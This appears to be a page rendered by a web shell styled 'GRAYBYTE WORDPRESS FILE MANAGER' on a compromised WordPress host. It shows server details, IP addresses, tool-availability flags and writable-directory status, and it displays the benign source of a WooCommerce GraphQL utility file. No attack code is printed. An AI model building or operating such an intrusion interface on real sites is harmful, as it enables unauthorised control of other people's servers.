✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/lib/packages/GraphQL/Utils//PairSet.php
<?php declare(strict_types=1);

namespace Automattic\WooCommerce\Vendor\GraphQL\Utils;

/**
 * A way to keep track of pairs of things when the ordering of the pair does
 * not matter. We do this by maintaining a sort of double adjacency sets.
 */
class PairSet
{
    /** @var array<string, array<string, bool>> */
    private array $data = [];

    public function has(string $a, string $b, bool $areMutuallyExclusive): bool
    {
        $first = $this->data[$a] ?? null;
        $result = $first !== null && isset($first[$b]) ? $first[$b] : null;
        if ($result === null) {
            return false;
        }

        // areMutuallyExclusive being false is a superset of being true,
        // hence if we want to know if this PairSet "has" these two with no
        // exclusivity, we have to ensure it was added as such.
        if ($areMutuallyExclusive === false) {
            return $result === false;
        }

        return true;
    }

    public function add(string $a, string $b, bool $areMutuallyExclusive): void
    {
        $this->pairSetAdd($a, $b, $areMutuallyExclusive);
        $this->pairSetAdd($b, $a, $areMutuallyExclusive);
    }

    private function pairSetAdd(string $a, string $b, bool $areMutuallyExclusive): void
    {
        $this->data[$a] ??= [];
        $this->data[$a][$b] = $areMutuallyExclusive;
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
AST.php
22.85 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
ASTDefinitionBuilder.php
23.696 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
BreakingChangesFinder.php
35.02 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
BuildClientSchema.php
19.056 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
BuildSchema.php
9.93 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
InterfaceImplementations.php
1.028 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
LazyException.php
0.382 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
LexicalDistance.php
3.679 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
MixedStore.php
5.764 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
PairSet.php
1.319 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
PhpDoc.php
1.477 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
SchemaExtender.php
23.58 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
SchemaPrinter.php
18.665 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
TypeComparators.php
3.716 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
TypeInfo.php
15.232 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
Utils.php
7.979 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
Value.php
9.052 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF